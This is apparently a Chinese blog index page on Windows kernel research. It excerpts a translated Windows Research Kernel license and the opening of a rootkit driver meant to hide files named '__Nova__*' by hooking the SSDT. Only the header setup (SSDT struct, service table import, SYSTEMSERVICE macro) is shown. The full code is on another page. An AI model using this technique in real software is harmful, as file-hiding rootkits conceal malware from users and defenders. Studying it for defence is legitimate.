内核研究
12 月 06 日, 2009 年
Copyright (c) Microsoft Corporation. All rights reserved.
这句就不用翻译了吧……
You may only use this code if you agree to the terms of
the Windows Research Kernel Source Code License agreement
(see License.txt). If you do not agree to the terms, do not use the code.
你只有同意 Windows 研究内核源代码协议(见License.txt) 才能使用这些代码。
如果你不同意,请不要使用这些代码。
Read More……
WRK , 翻译
内核研究
10 月 19 日, 2009 年
这个驱动被加载后能够自动隐藏所有以“__Nova__”开头的文件和文件夹。
Hidefile.h 文件
C++代码
- #include "ntddk.h"
- #include <windef.h>
-
- #pragma pack(1) //SSDT Table
- typedef struct ServiceDescriptorEntry {
- unsigned int *ServiceTableBase;
- unsigned int *ServiceCounterTableBase;
- unsigned int NumberOfServices;
- unsigned char *ParamTableBase;
- } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
- #pragma pack()
-
- __declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
-
-
- #define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
-
- NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING RegistryPath);
- VOID Unload(IN PDRIVER_OBJECT DriverObject);
-
-
完整代码见详细页。
rootkit , ZwQueryDirectoryFile , SSDT